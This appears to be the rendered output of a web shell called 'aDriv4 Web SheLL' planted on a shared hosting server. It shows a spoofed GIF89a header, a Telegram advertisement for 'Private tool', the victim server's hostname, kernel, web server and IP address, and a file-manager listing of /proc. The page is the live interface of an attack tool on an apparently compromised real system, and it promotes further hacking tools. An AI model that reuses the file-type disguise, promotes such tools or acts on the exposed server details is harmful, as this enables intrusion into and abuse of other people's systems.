GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux server252.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
 LiteSpeed
 68.65.123.229
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2024-05-13 09:31:48
.. dir - root/root 0755 2025-08-05 05:14:06
1509878 dir - defiyqcs/defiyqcs 0555 2025-11-19 08:43:16
1509879 dir - defiyqcs/defiyqcs 0555 2025-11-19 08:43:16
1730419 dir - defiyqcs/defiyqcs 0555 2025-11-19 09:19:24
1732725 dir - defiyqcs/defiyqcs 0555 2025-11-19 09:20:01
1753352 dir - defiyqcs/defiyqcs 0555 2025-11-19 09:23:28
1754068 dir - defiyqcs/defiyqcs 0555 2025-11-19 09:23:43
1756014 dir - defiyqcs/defiyqcs 0555 2025-11-19 09:24:12
1757035 dir - defiyqcs/defiyqcs 0555 2025-11-19 09:24:27
1757701 dir - defiyqcs/defiyqcs 0555 2025-11-19 09:24:43
1757702 dir - defiyqcs/defiyqcs 0555 2025-11-19 09:24:43
1757705 dir - defiyqcs/defiyqcs 0555 2025-11-19 09:24:44
1757708 dir - defiyqcs/defiyqcs 0555 2025-11-19 09:24:44
1757713 dir - defiyqcs/defiyqcs 0555 2025-11-19 09:24:44
acpi dir - root/root 0555 2024-05-13 01:33:24
bus dir - root/root 0555 2024-05-13 01:33:50
driver dir - root/root 0555 2025-11-19 09:20:12
fs dir - root/root 0555 2024-05-13 01:33:50
irq dir - root/root 0555 2024-05-13 01:33:28
kcare dir - root/root 0555 2025-11-19 09:20:12
lve dir - root/root 0555 2025-11-19 08:30:07
net link - defiyqcs/defiyqcs 0555 2025-11-19 09:24:44
scsi dir - root/root 0555 2024-05-13 01:33:50
self link - defiyqcs/defiyqcs 0555 2025-11-19 09:24:44
sys dir - root/root 0555 2024-05-13 01:33:23
sysvipc dir - root/root 0555 2025-11-19 09:20:12
thread-self link - defiyqcs/defiyqcs 0555 2025-11-19 09:24:44
tty dir - root/root 0555 2025-11-19 09:20:12
buddyinfo 0 B root/root 0444 2025-11-19 09:20:12
cgroups 0 B root/root 0444 2025-11-19 09:20:12
cmdline text/plain 0 B root/root 0444 2025-11-19 09:18:06
consoles 0 B root/root 0444 2025-11-19 09:20:12
cpuinfo text/plain 0 B root/root 0444 2025-11-19 09:18:04
crypto 0 B root/root 0444 2025-11-19 09:20:12
devices 0 B root/root 0444 2025-11-19 09:17:24
diskstats 0 B root/root 0444 2025-11-19 09:18:02
dma 0 B root/root 0444 2025-11-19 09:20:12
execdomains 0 B root/root 0444 2025-11-19 09:20:12
fb 0 B root/root 0444 2025-11-19 09:20:12
filesystems text/plain 0 B root/root 0444 2025-11-19 07:43:22
interrupts 0 B root/root 0444 2025-11-19 09:17:24
iomem 0 B root/root 0444 2025-11-19 09:20:12
ioports 0 B root/root 0444 2025-11-19 09:20:12
kallsyms 0 B root/root 0444 2024-05-13 01:33:50
kcore 128 TB root/root 0400 2024-05-13 01:33:24
key-users 0 B root/root 0444 2025-11-19 09:20:12
keys 0 B root/root 0444 2025-11-19 09:20:12
kmsg 0 B root/root 0400 2025-11-19 09:20:12
kpagecgroup 0 B root/root 0400 2025-11-19 09:20:12
kpagecount 0 B root/root 0400 2025-11-19 09:20:12
kpageflags 0 B root/root 0400 2025-11-19 09:20:12
loadavg text/plain 0 B root/root 0444 2025-11-19 09:18:02
locks 0 B root/root 0444 2025-11-19 09:20:12
mdstat 0 B root/root 0444 2025-11-19 09:18:02
meminfo text/plain 0 B root/root 0444 2025-11-19 08:31:04
misc 0 B root/root 0444 2025-11-19 09:20:12
modules 0 B root/root 0444 2025-11-19 09:20:12
mounts text/plain 0 B defiyqcs/defiyqcs 0444 2025-11-19 09:24:44
mtrr 0 B root/root 0644 2024-05-13 01:33:50
pagetypeinfo 0 B root/root 0400 2025-11-19 09:20:12
partitions 0 B root/root 0444 2025-11-19 09:20:12
sched_debug 0 B root/root 0444 2025-11-19 09:20:12
schedstat 0 B root/root 0444 2025-11-19 09:20:12
slabinfo 0 B root/root 0400 2025-11-19 09:20:12
softirqs 0 B root/root 0444 2025-11-19 09:20:12
stat text/plain 0 B root/root 0444 2025-11-19 07:43:22
swaps 0 B root/root 0444 2024-05-13 09:33:17
sysrq-trigger 0 B root/root 0200 2024-05-13 01:33:50
timer_list 0 B root/root 0400 2025-11-19 09:20:12
uptime text/plain 0 B root/root 0444 2025-11-19 09:18:02
version text/plain 0 B root/root 0444 2025-11-19 09:18:02
vmallocinfo 0 B root/root 0400 2025-11-19 09:20:12
vmstat 0 B root/root 0444 2025-11-19 09:20:12
zoneinfo 0 B root/root 0444 2025-11-19 09:20:12
© aDriv4